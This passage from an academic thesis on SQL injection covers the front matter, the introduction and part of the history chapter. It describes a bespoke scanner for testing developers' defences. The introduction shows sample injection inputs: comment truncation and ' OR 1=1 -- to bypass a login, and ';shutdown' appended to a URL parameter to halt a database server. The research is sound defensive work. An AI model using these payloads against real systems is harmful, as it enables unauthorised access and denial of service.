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Abstract 
This study involved the development and subsequent use of a bespoke SQL Injection 
vulnerability scanner to analyze a set of unique approaches to common tasks, identified by 
conducting interviews with developers of high-traffic Web sites.  The vulnerability scanner was 
developed to address many recognized shortcomings in existing scanning software, principal 
among which were the requirements for a comprehensive yet lightweight solution, with which to 
quickly test targeted aspects of online applications; and a scriptable, Linux-based system.  
Emulations of each approach were built, using PHP and MySQL, which were then analyzed with 
the aid of the bespoke scanner.  All discovered vulnerabilities were resolved and despite the 
variety of approaches to securing online applications, adopted by those interviewed; a small 
number of root causes of SQL Injection vulnerabilities were identified.  This allowed a SQL 
injection security checklist to be compiled to facilitate developers in identifying insecure 
practices prior to an online application’s initial release and following any modifications or 
upgrades. 
 
 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES iii 
 
Acknowledgements 
 
To my selfless wife, Mary, whose patience, understanding and support were constant 
throughout this project, and whose proof-reading skills were also greatly appreciated.  Mary has 
single-handedly looked after three children to allow me to work on this project, sacrificing sleep, 
comfort, and all time to herself.  I cannot adequately express the depth of my gratitude and 
appreciation for all she has done. 
To my three children: Mark and Emma, who never complained when thesis-related work 
took away from play time with their dad, and to little Sophie, who waited for me to be on a break 
before taking her first step. 
A special thanks to my thesis advisor, Dr. Ernest Eugster, for all the time and effort he 
put into his high-quality feedback.  Never having written a thesis before, I made a lot of mistakes 
for him to point out. 
I would also like to extend my thanks to the inventor of freeze-dried coffee, without 
which this thesis could not have been written. 
 
 Table of Contents 
 
Abstract ........................................................................................................................................... ii 
Acknowledgements ........................................................................................................................ iii 
Table of Contents ........................................................................................................................... iv 
List of Figures ................................................................................................................................ vi 
List of Tables ............................................................................................................................... viii 
Chapter 1 - Introduction .................................................................................................................. 1 
The Problem of SQL Injection. ................................................................................................... 1 
The Scale of the Threat. .............................................................................................................. 5 
The Nature of the Threat ............................................................................................................. 7 
Project Overview ........................................................................................................................ 9 
Summary ................................................................................................................................... 13 
Chapter 2 – History of SQL Injection ........................................................................................... 14 
Early References to SQL Injection ........................................................................................... 14 
Automated Tools. ...................................................................................................................... 19 
Accepted Best Practice. ............................................................................................................ 22 
Summary ................................................................................................................................... 26 
Chapter 3 – Methodology ............................................................................................................. 27 
Vulnerability Scanner Development. ........................................................................................ 28 
Questions and Interviews .......................................................................................................... 31 
Development of Emulated Approaches to Security. ................................................................. 33 
Vulnerability Scanning and Analysis........................................................................................ 34 
Project Restrictions. .................................................................................................................. 34 
Summary ................................................................................................................................... 36 
Chapter 4 - Bespoke Vulnerability Scanner .................................................................................. 37 
SQLscan and Database Testing ................................................................................................ 37 
System Components.................................................................................................................. 40 
Software requirements and design decisions ............................................................................ 43 
Walkthroughs ............................................................................................................................ 47 
Attack Definitions. .................................................................................................................... 53 
Identifying Successful Attacks ................................................................................................. 57 
Future Expansion ...................................................................................................................... 58 
Summary ................................................................................................................................... 60 
Chapter 5 – Analysis and Results ................................................................................................. 61 
Awareness and attitudes ............................................................................................................ 63 
Identifying Unique Approaches to Counteracting Input Validation Attacks ............................ 69 
The approaches to security, used by each of the interviewees were as follows: ...................... 70 
Evaluating Each Unique Approach ........................................................................................... 73 
Applying Best Practice and Reevaluating................................................................................. 97 
Comparing Approaches .......................................................................................................... 101 
Evaluating the Effectiveness of the Bespoke Vulnerability Scanner...................................... 105 
Summary ................................................................................................................................. 106 
Chapter 6 – Discussion and Conclusions .................................................................................... 108 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES v 
Conclusion .............................................................................................................................. 108 
Lessons Learned...................................................................................................................... 122 
Project Analysis. ..................................................................................................................... 124 
Future Research. ..................................................................................................................... 129 
References ................................................................................................................................... 132 
Appendix A – Project Plan ......................................................................................................... 135 
Appendix B - Guideline Interview Questions ............................................................................. 138 
About the interviews ............................................................................................................... 138 
Guideline questions ................................................................................................................. 138 
Appendix C – Vulnerability Scanner Source Code & Pseudo-code ........................................... 143 
SQLscan.conf - Source Code .................................................................................................. 168 
Appendix D – SQLscan Supporting Files ................................................................................... 171 
Attack Definition Files. ........................................................................................................... 171 
Success Indication Files .......................................................................................................... 203 
Appendix E – PHP Emulation Listings ...................................................................................... 206 
 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES vi 
 
List of Figures 
Figure 1.1- Login Form and its corresponding SQL query   ............................................................ 2
Figure 1.2 - Using SQL Injection to log in as a known user without a password   .......................... 3
Figure 1.3 – Bypassing an authentication form with SQL Injection   .............................................. 3
Figure 1.4 – Project tasks and their relationships   ......................................................................... 11
Figure 4.1- SQLscan’s directory structure   .................................................................................... 38
Figure 4.2 - Excerpt from SQLscan.conf with corresponding pseudo-code   ................................. 41
Figure 4.3 - SQLscan: Architectural Context Diagram   ................................................................ 43
Figure 4.4 – Sqlscan’s reaction to an illegal switch  ...................................................................... 47
Figure 4.5 - Sqlscan’s help text  ..................................................................................................... 48
Figure 4.6 - Example Insecure Table Structure   ............................................................................ 49
Figure 4.7 - Interactive Scan of a vulnerable login form   .............................................................. 50
Figure 4.8 - Non-interactive scan of a query-string based news reader, run as a background 
process  ........................................................................................................................................... 51
Figure 4.9 – Scanning a single-parameter, query-string based application   .................................. 51
Figure 4.10 - Scan log of a secure system   .................................................................................... 52
Figure 4.11 - Scanning a multi-parameter, vulnerable, query-string based application   ............... 52
Figure 4.12 - Scan log of a vulnerable system   .............................................................................. 53
Figure 4.13 - Example ‘Get’ Attack Definition   ............................................................................ 56
Figure 4.14 – Example ‘Post’ Attack Definition   .......................................................................... 57
Figure 4.15 – Extract from successIndicators/MySQL, used to recognise MySQL Database 
engines   .......................................................................................................................................... 58
Figure 5.1 - Percentage Distribution Comparison of This Study’s Sample Set with 
WebDirection’s Results of a Survey of 1000 Web Sites in 2010   ................................................. 63
Figure 5.2 – Principle SQL Injection Countermeasures Employed By Interviewees   ................... 70
Figure 5.3 – Pseudo-code of the test page, from which all approach emulations were created   ... 75
Figure 5.4 – PHP implementation of approach A   ......................................................................... 76
Figure 5.5 – Scanning for vulnerabilities in the ‘user’ and ‘pass’ fields with SQLscan   .............. 77
Figure 5.6 - Scanning for vulnerabilities in the ‘id’ and ‘pass’ fields with SQLscan   ................... 78
Figure 5.7 – Scanning for vulnerabilities with SQLscan using the ‘id’ query-string field   ........... 80
Figure 5.8 – Vulnerabilities reported by ‘SQL Inject Me’ for Approach A’s ‘id’ field   ............... 82
Figure 5.9 – PHP implementation of approach B   ......................................................................... 83
Figure 5.10 – PHP implementation of approach C   ....................................................................... 85
Figure 5.11 – Stored Procedures used in PHP implementation of approach C   ............................ 86
Figure 5.12 – PHP implementation of approach D   ....................................................................... 88
Figure 5.13 – Login form testing of approach D using the ‘id’ field  ............................................ 89
Figure 5.14 – Testing approach D using the ‘id’ query-string field   ............................................. 90
Figure 5.15 – PHP implementation of approach E   ....................................................................... 92
Figure 5.16 – Common two-step method of changing a user’s password   .................................... 93
Figure 5.17 – More complete blacklist implementation   ............................................................... 98
Figure 5.18 – Simple alternative to Magic Quotes   ....................................................................... 99
Figure 5.19 – Overall security of examined approaches  ............................................................. 101
Figure 5.20 – Number of core issues per approach   .................................................................... 102
Figure 5.21 – Root causes of SQL Injection vulnerabilities   ....................................................... 102
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES vii 
Figure A.1 – Gantt chart, detailing major project tasks.   ............................................................. 136
Figure D.1– genericGetAttacks.dat   ............................................................................................. 178
Figure D.2– MySQLGetAttacks.dat   ........................................................................................... 185
Figure D.3 – genericPostAttacks.dat   .......................................................................................... 189
Figure D.4 – MySQLPostAttacks.dat   ......................................................................................... 202
Figure D.5 – MySQL Success Indicators – used to identify the underlying database  ................ 203
Figure D.6 – MS SQL Server Success Indicators – used to identify the underlying database   ... 203
Figure D.7 – Oracle Success Indicators – used to identify the underlying database   .................. 204
Figure D.8 – Generic Success Indicators – used to recognise SQL Injection vulnerabilities   .... 204
Figure D.9 – ‘loggedIn’ - Default Authentication System Bypass Success Indicators   .............. 204
Figure D.10 – Excerpt from a sample SQLscan ‘Post’ scan  ....................................................... 205
Figure E.1 – Generic test  page template   .................................................................................... 208
Figure E.2 – Approach A: Bespoke Blacklist with Server-side Field Truncation   ...................... 211
Figure E.3 – Approach B: Magic Quotes  .................................................................................... 212
Figure E.4 – Approach C: Stored Procedures   ............................................................................. 215
Figure E.5 – Approach D: Vendor-Specific Escaping   ................................................................ 216
Figure E.6 – Approach E: Bespoke Blacklist with Magic Quotes   .............................................. 218
 
 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES viii 
List of Tables 
 
Table 5.1 - Root causes of SQL Injection vulnerabilities in discovered approaches ………… 103 
Table 5.2 – Approaches to security ranked by effectiveness …………………………………. 104 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES ix 
Chapter 1 - Introduction 
For decades, developers have used backend databases to enhance the features of their 
applications.  However it was not until databases first started to be used with websites that 
vulnerabilities in the way in which applications typically interacted with databases, using the 
Structured Query Language (SQL), were discovered.  SQL injection has emerged as a serious 
attack and is the subject of this research.  This chapter describes how SQL injection attacks are 
carried out and the extent of damage which can be caused on a vulnerable system. The scale of 
SQL injection attacks are also discussed, along with the ease with which vulnerabilities can be 
introduced by developers.  Defenses against SQL injection attacks are also examined.  This 
chapter lays the foundation for the research, outlining its objectives and the approach taken. 
 
 The Problem of SQL Injection. 
The growing popularity of the Internet in the late 1990s saw the emergence of 
discoverable, highly available, database driven applications with global, anonymous user bases.  
The state-less nature of the HyperText Transfer Protocol (HTTP), used to communicate with 
these websites, also meant that repeated attempts could be made to breach the security of such 
systems without penalty.  This combination of factors elevated pre-existing, relatively minor, and 
largely ignored security threats to new heights, in terms of associated risk.   
One particularly prevalent type of vulnerability, which existed in all early database driven 
websites and remains a significant issue today, centers on the inadequate validation of user input, 
which can allow the behavior of the system to be modified by malicious users.  These soon 
became known as input validation vulnerabilities and two subclasses were identified: Cross Site 
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Scripting (XSS) and SQL injection vulnerabilities.  XSS is most commonly used in access 
escalation, session hijacking, and malware propagation attacks, involving the insertion of 
commands, within website content, which cause malicious code, hosted on other Web servers, to 
be executed in the user's Web browser whenever that user loads the affected pages in the 
compromised website.  This project focuses on the other subcategory of input validation 
vulnerabilities: SQL injection.  
 
SQL injection is the act of including legitimate SQL code in user input, which is used by 
the application when building SQL queries for immediate execution.  The injected code can alter 
the meaning of the query, causing the application to behave in ways which were not intended by 
the application developer.  Common uses of SQL Injection are to bypass authentication forms, 
execute operating system commands, or to query or manipulate data in the underlying database.   
A popular method of demonstrating SQL Injection is to use the scenario of an 
authentication form.  To confirm the validity of the entered username and password, systems 
typically construct and then execute a SQL query, selecting all records matching the supplied 
authentication details.  If no records are returned, the supplied authentication details are 
considered to be invalid, otherwise, the user is allowed to view the protected site content.  Figure 
1.1 shows an example of such a login form, with the supplied password in plain-text for clarity, 
along with a typical SQL query which could be automatically built for this purpose, using the 
user-provided values. 
 
SELECT * FROM logins WHERE user=’admin’ AND 
pass=’1str@t0r’  
 
1  
Figure 1.1- Login Form and its corresponding SQL query 
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Unless user input is validated, malicious users can inject SQL into login forms to make 
the dynamically created SQL query behave in an unexpected manner.  Figure 1.2 demonstrates 
how the authentication system, shown in Figure 1.1, could be bypassed via the truncation of the 
created SQL query, using the SQL comment notation.  In this case, the query would be built, as 
normal, by the application; however the SQL server would ignore everything following the 
single-line comment delimiter: ‘--‘.  A single record would be returned, satisfying the 
authentication algorithm and thereby allowing the malicious user to perform a password-less 
login. 
 
SELECT * FROM logins WHERE user=’admin’ --’ AND 
pass=unknown’  
 
 
Figure 1.2 - Using SQL Injection to log in as a known user without a password  
 
Should a system be vulnerable to SQL Injection, a known username is not required to 
bypass the authentication form, as demonstrated in Figure 1.3.  Here, the resultant query will 
return all records, which also satisfies the described authentication algorithm. 
 
SELECT * FROM logins WHERE user=’’ OR 1=1 --’ 
AND pass=unknown’  
 
 
Figure 1.3 – Bypassing an authentication form with SQL Injection 
 
SQL injection is not limited to online forms, as any user input which is incorporated into 
a SQL query is a possible attack vector.  Typically, two other user input mechanisms exist for 
online applications, query-string variables and cookies, both of which contain user-adjustable 
values, often incorporated into the application’s SQL queries.  As the principle is identical for 
both of these input methods, the more intuitive query-string method will be used to discuss this 
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aspect of SQL Injection.  Many content delivery systems use a unique identifier to indicate the 
database item to include in a standard presentation template.  A common example of such a 
system is a news viewer, where individual news items are visible via links to a single page, 
which include the article identifier as a query-string parameter, using the format 
‘?variable_name=value’.  This query-string is simply appended to the news viewer’s web 
address, for example: http://www.non-existent-web-site.com/news.aspx?item=1334.  
Systems such as this must request the data to present from the database, often using dynamic 
SQL queries to do this.  For example, the server-side program at the fictional Web address, 
above, could construct the following SQL query using the supplied parameter value: 
SELECT title, body, date FROM newsItems WHERE itemNo = 1334; 
Unless adequate input validation measures are put in place, it would be possible to manipulate 
the generated SQL query within such a system with carefully crafted user input, allowing the 
extension of that query or the insertion of a new query to immediately follow it.  For example, 
requesting the page http://www.corporatesite.com/news.aspx?item=1334;shutdown  
would cause the underlying database server to shut down immediately after all records, matching 
item number 1334, were selected. 
This vulnerability is not limited to a particular platform.  “SQL injection is vendor 
agnostic: it doesn’t matter whether the application is running Oracle, SQL Server, DB2, MySQL 
or Informix on Active/Java Server Pages, Cold Fusion Management, PHP or Perl – it can be 
vulnerable to SQL injection.” (Litchfield, 2005).  As explained by Litchfield (2001), the 
tendency for websites to disclose information through default error messages, verbose error 
pages, and the inclusion of debugging information as HTML comments in rendered output, 
greatly facilitated those attempting to compromise a site via SQL injection.  Error messages 
provided instant confirmation on the success of the attack and could be used to enumerate the 
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database, making further attacks possible.  The combination of SQL Injection and Information 
Disclosure flaws allowed malicious users to steal information, such as credit card details and 
passwords, or system resources, including CPU time, bandwidth, and webspace.  They also 
provided attackers with the means to perform denial of service attacks and to deface websites. 
 
The Scale of the Threat. 
The years following the turn of the millennium saw a rapid growth in the number of 
database driven Web sites and applications, as organizations rushed to take advantage of the 
Internet's explosion in popularity by converting traditional IT systems to online equivalents.  
Unfortunately, these systems were vulnerable to attack, “largely due to limitations within the 
core protocols and insecure application development techniques” (Ollman, 2005).  Because so 
little was known about the threat at the time, we can assume that almost all online applications 
were vulnerable between 1999 and 2002.  The situation very slowly improved as developers 
became aware of the threat and began to employ countermeasures within their applications; 
however the bulk of developers remained either unaware of the issue or unconcerned by it.  This 
can perhaps be explained by the huge number of personal, small business, or special interest 
websites, created by amateur developers, which began to appear as the popularity of the Internet 
exploded.   Litchfield (2005, p.2) reported that in 2005,  almost seven years after the issue had 
been first reported, only 40% of database-driven web applications were employing SQL injection 
countermeasures.   
Understanding of the threat grew over time, due to concerted effort from within the 
industry to educate developers.  However some flaws were more clearly understood by 
developers than others, leaving exploitable vulnerabilities in many systems which were 
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presumed to be safe.  Overall, understanding of SQL Injection remained poor, arguably as a 
result of certain technology improvements, such as PHP Magic Quotes and stored procedures, 
which solved many of the flaws without the need to educate developers in secure coding 
practices.  However, the popularity of these technologies, and their effectiveness when used 
correctly, led to a growing belief, among developers, that SQL injection was no longer a 
significant threat. 
Although not as prevalent as they were ten years ago, SQL injection vulnerabilities 
remain common.  Market researcher Imperva placed it fifth on their list of top 10 database 
threats (Imperva, 2009).  Similarily, according to Baker et. al. (2009), SQL injection was the 
second most common cause of security breach and accounted for 79% of compromised records 
in 2008.  The number of businesses affected by these security breaches is also on the increase, 
with “91% of respondents having experienced at least one in the past year, compared with 64% 
in 2007”  (Deloitte, 2009. p.6). 
The ease in which SQL injection vulnerabilities can be exploited and the extent of 
damage possible make this the preferred method of attack for many.  “When hackers are required 
to work to gain access, SQL injection appears to be the uncontested technique of choice” (Baker 
et al., 2009).  An analysis of security logs from a single Irish university's web servers, carried out 
by this researcher in July 2010, lent weight to this assertion, as SQL injection attacks were seen 
to have been attempted far more often than any other web-based malicious activity, such as 
searches for exploitable software or attempts to attack implementations of file uploaders and 
editors.  “SQL injection has been a part of the security industry consciousness for years now, and 
some may wonder at its continued prevalence. Fixing vulnerable applications, however, can be 
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challenging, costly, and time consuming, all of which contribute to a rather large and persistent 
attack surface.” (Baker et al., 2009). 
 
The Nature of the Threat 
SQL injection vulnerabilities can occur from momentary lapses of concentration or 
periods of inattention by the most security-conscious developers. “In large and complex 
applications, a single oversight can result in the compromise of the entire system” (Ceruddo, 
2002).  Limitations in some host systems can also impede the application of techniques which 
are recognized to be best practice in the prevention of SQL Injection attacks.  For example, 
“many platforms do not have support for strong-typed technologies” (Beuhrer, Weide & 
Sivilotti, 2006), which are widely recognized to be an effective defense against these attacks.  In 
some cases, the routine use of technologies or practices which are known to be secure can lead to 
a level of inattention which can cause the introduction of weaknesses.  As explained by Ceruddo 
(2002), many developers and administrators of web applications may develop a false sense of 
security because they use stored procedures or mask any error messages returned to the browser, 
leading them to believe that they cannot be compromised through SQL injection, when in fact, it 
is still possible in certain circumstances.   
Many organizations attempt to mitigate the threat with run-time monitoring technologies.  
“However, as reality painfully proves every day, it’s impossible, even infeasible, to guarantee 
perfect prevention ... Any inconspicuous vulnerability left behind by firewall protection or any 
subtle attack that goes unnoticed by intrusion detection will be enough to let a hacker defeat a 
seemingly powerful defense.”  (Veríssimo et. al. 2006, p.54).   
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The only way to be certain that your web applications are fully secure is to carry out a 
vulnerability assessment, involving a web application vulnerability scanner and a security expert.  
“Web application vulnerability scanners are very good at what they do: identifying technical 
programming mistakes and oversights that create holes in Web security…Vulnerability scanners 
automate the process of finding these types of Web security issues; they can crawl through an 
application performing a vulnerability assessment, throwing countless variables into input fields 
in a matter of hours, a process that could take a person weeks to do manually” (Hewlett-Packard, 
2006).  
 A recent study by Ponemon (2010) shows that 49% of large companies use vulnerability 
assessment tools while 50% plan to begin using one in the future.  Given the investment that 
these systems require, for example the $1445 single-site or $4995 to $6350 multisite license fees 
for Acunetix Web Vulnerability Scanner (Acunetix, 2010), it is reasonable to assume that the 
uptake is less than this in small to medium enterprises.  It should be noted that free scanners 
exist.  Some of these are limited versions of purchasable products, whereas others, such as Nikto, 
are open-source systems which can be difficult to install and have a significant learning curve. 
Targeted scanners are also available.  Their narrower scope allows the user to check for specific 
issues, such as SQL injection vulnerabilities more easily.  “With such a tool available, more 
developers can test their code for, at least elementary, security issues and hopefully learn how 
they can identify and fix the vulnerabilities they introduce during coding.” (Davies & Tryfonas, 
2008).  Care must be taken, however, to select the correct balance between the 
comprehensiveness of the scanning utility and its impact on the host server.  Many scanners 
perform thousands of checks as quickly as possible, which may not be suitable for testing on a 
live environment.   
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For this, a number of lightweight scanners are available, such as WebCruiser and 
SQLInjectMe, however for many of these products; the term ‘lightweight’ applies to the size of 
the program and impact on the client machine’s resources only.  Lightweight utilities can be 
multi-threaded systems, capable of significantly impacting on the performance of the scanned 
Web server.  On the other hand, many other lightweight products could be considered to be too 
lightweight, having reduced the range of the scan to lessen the impact on the server. 
 
Project Overview  
This research attempts to prove the below hypothesis and reduce the prevalence of SQL 
Injection vulnerabilities by first examining the perceived and actual threat of SQL injection on 
contemporary websites, and then developing tools to allow developers to rapidly detect and 
avoid SQL injection vulnerabilities. 
 
Hypothesis 
While awareness of the threat of SQL injection is growing, insufficient countermeasures 
are as of yet being employed by developers due to their inadequate understanding of the nature 
and scale of the threat. As a consequence, most websites are more vulnerable to SQL injection 
than their developers believe them to be. 
 
Research Questions and Project Goals. 
After a review of the literature, the following questions were developed to guide the 
research:   Do the developers of high-traffic sites fully understand the threat of SQL Injection? 
What approaches to counteracting SQL Injection are taken?  How effective are these 
approaches?  What common mistakes are being made?  
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With the above objectives, questions, and hypothesis in mind, a five phase research 
methodology was used.  In the first phase, literature was reviewed.  This was necessary to carry 
out the study effectively, as it enabled this researcher to fully understand the range of SQL 
Injection attacks and their variations, known mitigation techniques and technologies, and 
accepted best practice.  The characteristics of existing automation tools were also studied to 
identify the niche, within which the proposed software would be of most benefit.   
  In phase two, the bespoke vulnerability scanner was developed.  This was achieved in 
two steps.  First, the scanning engine was designed, developed and tested.  Following this, a 
comprehensive set of test attack definitions were researched and applied to the scanning engine.  
Care was taken to test for vulnerabilities without causing any damage to the system being tested. 
In phase three, interviews with developers were coordinated and carried out as late as 
possible to guarantee that the information represented in this study was current.  Knowledge of 
all known mitigation techniques and technologies, gained from the earlier review of literature, 
improved the effectiveness of this exercise, as this researcher was in a position to immediately 
identify any deviations from the norm, during the interviews, and focus on the reasoning behind 
these deviations, as well as the technical details. 
Phase four involved the emulation of each unique defense against SQL injection, within a 
PHP/MySQL environment, and began as soon as all interviews had taken place.  The emulations 
were required to mimic the behavior of the described approaches exactly, before the final phase 
could begin. 
In phase five, an analysis of the effectiveness of each approach was carried out, involving 
the use of the specially developed SQL Injection vulnerability scanner as well as manual, white 
box testing.  This facilitated the discovery of any weaknesses in each approach, all of which were 
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resolved and documented as part of this task, resulting in a number of secure approaches to 
counteracting SQL injection which could be compared and contrasted.  Useful information on 
the efficacy of each approach, both before and after modification, was gathered, along with 
relevant data on any assumptions and mistakes made by each developer, allowing each of the 
identified research questions to be answered. 
Figure 1.4, below, depicts the relationships between each of the above phases, explaining 
the order in which they were carried out. 
 
 
Figure 1.4 – Project tasks and their relationships 
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Significance of This Study. 
As the field of information systems security has expanded, researchers have shown 
increasing interest in explaining techniques to secure code.   However the literature weighs 
heavily on advice provided under the assumption that the developer is approaching the problem 
in a particular manner, and therefore may not always be directly applicable to, or equally 
effective on all possible approaches.   This paper attempts to redress this situation by examining 
contemporary countermeasures with the aid of a purpose built vulnerability scanner, integrating 
secure coding best practices, and presenting results from a new empirical study into the 
effectiveness of these techniques in terms of security. 
 
Inspiration for the Project. 
Having been introduced to the intricacies of application security through formal training 
in ethical hacking, in 2007, this researcher soon afterwards realized the lack of automated form- 
and query-string-manipulation tools, available to the security professional.  Recognizing the 
importance of such tools in determining Web application security and having experienced the 
difficulties that can be encountered when installing software on Linux and UNIX based systems,  
even with the aid of a package manager to handle the installation of all required dependencies, an 
as of yet unaddressed gap in the market was identified.  As a Web and database administrator of 
over ten years’ experience, the value of a scriptable, and therefore schedulable, server-resident 
vulnerability scanner was also immediately recognized.  Two years later, this researcher 
remained unaware of any product which met all of the above criteria, which is why the 
development of such a product was immediately considered when the time came to choose a 
research topic, within which to produce an academic body of work.  However, the usefulness of 
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such a tool was questionable as SQL Injection was no longer a new threat and most developers, 
known to this researcher, had such confidence in their adopted countermeasures that they 
considered the threat to be a thing of the past.  The final specification for this project grew from 
this researcher's belief that this was not the case and the desire to both investigate the validity of 
such assumptions, and to facilitate the rapid detection of any such vulnerability within online 
applications. 
 
Summary 
This chapter introduced the problem of SQL injection, demonstrating the ease at which it 
can be performed, and outlining its prevalence over the last decade.  The types of tools used to 
detect SQL injection vulnerabilities in applications were then introduced.  Also discussed were 
the project aspirations, and a general overview of the five-phase methodology by which they 
would be achieved was provided.  The following chapter is the product of the first phase, as 
described in this chapter, and outlines the discoveries made while reviewing both academic and 
industry literature on the subject. 
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Chapter 2 – History of SQL Injection 
 In Chapter 1, the threat of SQL injection was introduced and some of the reasons for its 
prevalence were discussed.  Also discussed were some of the tools used to detect SQL injection 
vulnerabilities in online applications, with a particular focus on vulnerability scanners.  A 
general overview of the aims and methodology of this project was also provided. 
This chapter outlines the progression of the global threat that SQL injection poses and its 
inner operations.  Particular attention is paid to discoveries of new aspects of the threat; the 
invention of new techniques, countermeasures, including prevention and detection tools.  The 
chapter also explores the effect of these developments on accepted best practices to counteract 
the problem.  Wherever possible, developments are described in chronological order to better 
illustrate the evolution of each of the above focal points and to facilitate any discussion on 
changing attitudes toward security. 
 
Early References to SQL Injection  
The earliest published reference to SQL injection techniques appeared in  an article by a 
hacker known as Rain Forest Puppy (RFP), in the December 1998 edition of Phrack Magazine, 
entitled “NT Web Technology Vulnerabilities.”   The author focused on “batch SQL 
vulnerabilities”, where additional SQL statements can be executed if appended to an existing 
query, and implications for database-driven applications using Microsoft's Internet Data 
Connector (IDC) and its replacement technology, Active Server Pages (ASP). (Rain Forest 
Puppy, 1998).   
But the early works of David Litchfield laid much of the foundation for understanding 
SQL injection.  According to Litchfield (2005), on February 4, 2000, RFP  posted an advisory 
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detailing how he exploited vulnerabilities in the WWWThreads Perl application to inject SQL 
commands, gaining administrator-level access to the underlying SQL Server.  The term 'SQL 
injection' first began to appear approximately seven months later.  Litchfield  presented a talk at 
Blackhat Europe, entitled ‘Application Assessments on IIS”, where he discussed “attacking 
database servers via ASP applications using ‘SQL insertion’.” (Litchfield, 2005. p.3).   He  
presented another paper at the next Blackhat Europe conference in April 2001, called “Remote 
Web Application Disassembly using ODBC Error Messages”, which demonstrated how to 
“disassemble the SQL database's structure, by-pass login pages, and retrieve and modify data” on 
ASP systems, using the latest database connectivity technology: ActiveX Data Objects (ADO) 
(Litchfield, 2001). 
Other authors followed Litchfield’s lead.  In January 2002, Chris Anley published a  
paper  in which Litchfield's techniques were reviewed, along with an analysis of using stored 
procedures to gain further access to the system.  Anley also showed that SQL injection could be 
used to read system files, and output data to files for subsequent download.  The concept of a 
second-order SQL injection was also introduced, where the attack is executed when the inserted 
data is next read by the application, rather than during the initial insertion.  Using limited length 
fields to the attacker’s advantage was described and countermeasures, including the use of a 
parameterized API and a strong SQL server lockdown were recommended.    In a later article, 
Anley released an appendix in which he identified some common SQL injection misconceptions, 
and introduced the concept of blind SQL injection.  He described that a blind SQL injection    
attack is performed without the aid of system error messages to indicate success or failure.  It is 
generally acknowledged that Anley’s papers helped further raise awareness of the severity of the 
threat, posed by SQL injection. 
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These early practitioner papers fueled interest among academics to research 
vulnerabilities and countermeasures.  Scott and Sharp (2002), in proposing the first Web 
application firewall, suggested a security policy definition language to protect large Web 
applications by dynamically analyzing HTTP requests and responses, modifying them, wherever 
necessary, to enforce the defined security policy.  Auronen et. al. (2002) reviewed four enterprise 
vulnerability scanners and eight targeted testing tools, concluding that they were of overall 
benefit to the Web development community in spite of their potential use for malicious purposes, 
and warning that the cause of the problem should be treated instead of the symptoms.  Having 
been accepted as effective tools for reducing Web application vulnerabilities, work began on 
improving the capabilities of these utilities.  Building on existing trends, researchers in Taiwan 
created an open-source Web Application Vulnerability and Error Scanner (WAVES).  This system 
comprised of a Web crawler, an integrated DOM parser to identify all entry points, and a “self 
learning injection knowledge base” (Haung et. al., 2003).  This development illustrates an 
increasing appetite for enterprise vulnerability scanners which could identify all security 
problems simply by being directed at the Web site to be analyzed. 
 Kc, Keromytis & Prevelakis (2003) first postulated the use of randomized instruction 
sets with interpreted languages to render any injected code invalid, and demonstrated the 
feasibility of this notion with the creation of two prototypes through minor modifications to 
existing interpreters.  In 2004, Boyd and Keromytis presented a variation on this theme 
whereby standard SQL keywords and expressions were changed to include a random number 
each time the query was invoked, thereby preventing SQL Injection.  While this randomization 
concept attracted attention from other academics, commercial implementations were not 
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seen.  This is presumably because of a general trend towards faster, semi-compiled Web 
applications, such as those created by just-in-time compilers in Java and .NET environments, 
which are incompatible with such an approach.   
With the discovery of application flaws, such as SQL injection, which could potentially 
compromise entire systems, the trend had shifted from host-based security towards application 
security.  As explained by Michalek (2004), application security involved penetration testing; 
Application Protection Systems (APS), such as application firewalls; and source code analysis.  
By 2004, a number of XML-based security standards existed, facilitating the standardized 
communication between security applications, the description of system or application 
vulnerabilities, and the tests with which to detect them.  This standardization reflected both the 
growing maturity of application security measures and the increasing popularity of distributed 
systems.  This was illustrated by Michalek (2004) in his description of “patch management 
systems (PMS) and vulnerability remediation systems (VRS) apply[ing] APS concepts at the 
operating system level, using global databases from OS vendors”. (Michalek, 2004). 
The challenge of preventing SQL injection attacks remained a strong focus in the 
following few years.  Beuhrer et. al. (2005) introduced a technique whereby the SQL statement’s 
parse tree was analyzed before and after the application of user input, allowing changes in the 
structure of the query to be detected at runtime.  The concept of an application-level firewall was 
applied to the SQL Server by Rietta (2006), who proposed a proxy server, through which access 
to the SQL Server would be made, thereby protecting it from application-level flaws.  Veríssimo 
et. al. (2006) worked towards the creation of intrusion tolerant systems, which would ultimately 
detect and contain attacks, through the creation of a multilayered middleware architecture.  In an 
extension of contemporary APS functionality, Halfond & Orso (2006) created their Java-based 
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AMNESIA tool, which combined the static analysis of the application, to create a model within 
which dynamic SQL queries were to perform, and runtime monitoring to enforce conformance 
with this model.  A related Java-based system was produced in the following year by Bankhakavi 
et. al. (2007).  This system, designed to be retrofitted to all Java-based applications, compared, at 
runtime, symbolic representations of the application's dynamic SQL queries when using benign 
values and the actual user inputs, enabling the detection of injected code which would change the 
intention of the query.   
In contrast to the ever-increasing complexity of the preventative solutions, proposed by 
academic researchers, non-academic security experts focused on understanding the full extent of 
the risk posed by SQL injection vulnerabilities and their collective primary approach to 
diminishing the global threat involved the education of developers in the use of effective 
countermeasures.  In August 2002, Ceruddo released a paper entitled 'Manipulating Microsoft 
SQL Server Using SQL Injection", within which he expanded on the topic of blind SQL 
Injection, noting that many developers and web administrators were complacent about SQL 
Injection vulnerabilities if the attacker could not see the SQL error messages and/or could not 
return the query’s result directly to the browser.  He demonstrated many ways in which SQL 
injection could be carried out under these circumstances.   The Open Web Application Security 
Project (OWASP) released a guide to building secure Web applications in September 2002, 
which explained the known threats to Web applications along with mitigation techniques.  In 
2004, Anley produced another paper highlighting the SQL Injection vulnerabilities, unique to the 
hugely popular MySQL database because of its additional features and supported syntax 
variations.  He provided a checklist for MySQL administrators, showing the steps that needed to 
be taken to secure their MySQL implementation.  
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By 2005, all variations of SQL injection attack were well understood and focus began to 
shift towards blind SQL injection attacks, as researchers begin to assume that proven SQL 
injection countermeasures were now commonplace.  Litchfield (2005) expanded on the earlier 
work by both Anley and Cerrudo in 2002, highlighting additional blind SQL Injection techniques 
in his paper entitled “Data-mining with SQL Injection and Inference”.  This topic was further 
expanded by Imperva Research (2009), in their whitepaper ‘Blindfolded SQL injection’, which 
